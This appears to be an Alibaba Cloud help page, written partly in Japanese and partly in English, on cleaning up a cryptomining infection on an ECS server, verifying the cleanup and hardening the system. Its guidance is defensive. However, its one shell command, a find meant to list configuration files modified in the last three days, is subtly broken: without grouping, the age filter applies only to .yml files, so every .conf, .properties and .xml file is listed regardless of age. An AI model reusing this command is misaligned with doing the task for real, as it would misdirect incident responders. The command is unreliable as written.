ウイルスがシステムに深く侵入している場合、手動クリーンアップ後に問題が再発する場合、またはサーバーに重要なビジネスデータが含まれていない場合は、このオプションを推奨します。クリプトマイニングプログラムの完全なクリーンアップを確実にするために、サーバーのシステムをリセットする前に重要なデータをバックアップすることを強く推奨します。

  1. スナップショットを作成して、サーバー上の重要なデータをバックアップします。詳細については、「ディスクのスナップショットの作成」をご参照ください。

  2. システムディスクの再初期化: ECS コンソールで対象インスタンスを選択し、[システムディスクの再初期化] 操作を実行します。このアクションは、システムディスクを完全に消去し、初期状態に復元します。詳細については、「システムディスクの再初期化 (オペレーティングシステムのリセット)」をご参照ください。

  3. スナップショットを使用して新しいクラウドディスクを作成します。詳細については、「スナップショットからのディスクの作成」をご参照ください。

  4. クラウドディスクを、システムを再インストールしたサーバーにアタッチします。詳細については、「データディスクのアタッチ」をご参照ください。

  5. サーバーにログインし、アタッチされたデータディスクからビジネスデータ (Web サイトコードやデータベースファイルなど) のみをコピーします。

    重要

    バックドアが再び侵入するのを防ぐため、古いスナップショットから実行可能ファイル、システム設定ファイル、またはスクリプトを復元しないでください。

緊急対応サービスの購入

Alibaba Cloud は、専門のセキュリティエンジニアがウイルス感染などの問題の解決を支援する緊急対応サービスを提供しています。このサービスには以下が含まれます:

  • システム内のトロイの木馬、ウイルス、異常なアカウント、異常なファイル、Web シェル、隠しリンク、その他の問題の包括的なクリーンアップ。

  • 攻撃者の侵入方法の分析による根本原因の特定。

  • セキュリティ強化に関するガイダンス。

詳細については、「緊急対応サービス」をご参照ください。

Verify the remediation

After cleanup, you must verify the results and harden the system to ensure security and prevent reinfection.

  1. Scan again: Use the Antivirus or Agentless Detection feature in Security Center to perform a full scan of the server and confirm there are no alerts.

  2. Monitor performance: Continuously monitor the server's CPU utilization to confirm it has returned to a normal level.

  3. Verify with periodic scans: A single passing scan does not guarantee that the backdoor is fully removed. Some residual mining backdoors are redeployed by a scheduled task or daemon process after the initial cleanup. Configure a recurring Antivirus or [エージェントレス検出] task in Security Center, and keep observing several consecutive scan cycles after cleanup. Confirm that the backdoor is removed only after every cycle in that window reports no cryptomining-related alerts.

  4. Verify by monitoring alerts: Continue to check the [レスポンス検出] > Security Events page in Security Center for cryptomining, malicious process, and persistence-related alerts. If no such alerts recur for some time after cleanup, the backdoor has not been retriggered. If the same type of alert reappears, a persistence mechanism such as a scheduled task, a startup item, or an SSH public key may still remain. In this case, return to the manual cleanup steps to investigate further.

  5. Verify the related vulnerabilities: Cryptomining programs are usually planted through a system or application vulnerability. If the intrusion entry point is not fixed, the server can be reinfected after cleanup. Use the vulnerability scanning feature in Security Center to confirm that the vulnerability exploited in this intrusion has been fixed, so that the cryptomining program cannot be replanted after the backdoor is removed.

  6. Handle alerts whose file path does not exist: If the file path specified in an alert email does not exist on the server and the CPU load is normal, you can Ignore the alert or mark it as Handled in the security event list. Log on to Security Center console, choose Detection and Response > Security Events, find the alert, and select Ignore or Handled in the Actions column. After you complete the operation, check whether new alerts are generated. If no new alerts appear, you can safely ignore the alert.

Security hardening

  • Enable proactive defense for malicious host behavior: The proactive defense feature provided by Security Center can accurately intercept cryptomining programs, thus preventing cryptomining incidents before they occur. For more information, see Proactive Defense.

  • Strengthen access control:

    • Apply the principle of least privilege to security groups: Configure the ECS security group to open only necessary business ports (such as 80 and 443). For management ports like SSH (22) and RDP (3389), ensure they are open only to trusted, fixed IP addresses (such as your office network or a bastion host IP).

    • Password policy: Configure strong passwords for database systems or file systems (MySQL, PolarDB, MaxCompute, Redis, NAS, OSS), service management consoles (such as BT-Panel, Nacos), and operating system user accounts (SSH, RDP). Limit the number of incorrect password attempts to prevent brute-force intrusions.

  • Vulnerability and patch management:

    • Update promptly: Regularly apply the latest security patches to your operating system and application software (such as web servers and databases).

    • Vulnerability scanning: Use the vulnerability scanning feature in Security Center to proactively discover and fix vulnerabilities in your system and applications.

  • Harden application security: Before deploying business code, perform code security testing or integrate with a Web Application Firewall to defend against common OWASP attacks like SQL injection, XSS, common web server plugin vulnerabilities, Trojan uploads, and unauthorized access to core resources. This helps prevent system compromise through application vulnerabilities.

  • Credential security: Avoid hardcoding Alibaba Cloud AccessKeys in your code or configuration files. Use RAM roles or instance RAM roles to grant permissions to applications, following the principle of least privilege. For more information, see Securely use credentials.

  • Recover tampered application configuration files: In addition to consuming CPU resources, a cryptomining program may tamper with application configuration files on the server, such as RocketMQ .properties files or Nginx .conf files, causing service abnormalities or planting a persistent backdoor.

    1. Find recently modified configuration files: Run the following command to find configuration files modified recently. Search by multiple extensions, not only .conf, because applications such as RocketMQ use the .properties format.

      find / -name '*.conf' -o -name '*.properties' -o -name '*.xml' -o -name '*.yml' -mtime -3
      説明

      Do not search only for .conf files. Applications such as RocketMQ use configuration files in the .properties format, and searching only for .conf misses them.

    2. Create a snapshot backup: Before you restore any configuration file, create a snapshot backup of the ECS instance, because an incorrect configuration can cause the application to fail to start. For more information, see Create a snapshot for a disk.

    3. Restore the configuration files: Restore the tampered configuration files from the snapshot or another trusted backup, and verify that the file content has been restored to the original configuration.

    4. Restart the service and verify: After the restoration, restart the affected service (for example, run mqshutdown or mqshutdownsrv to restart RocketMQ) and verify that the service functions normally.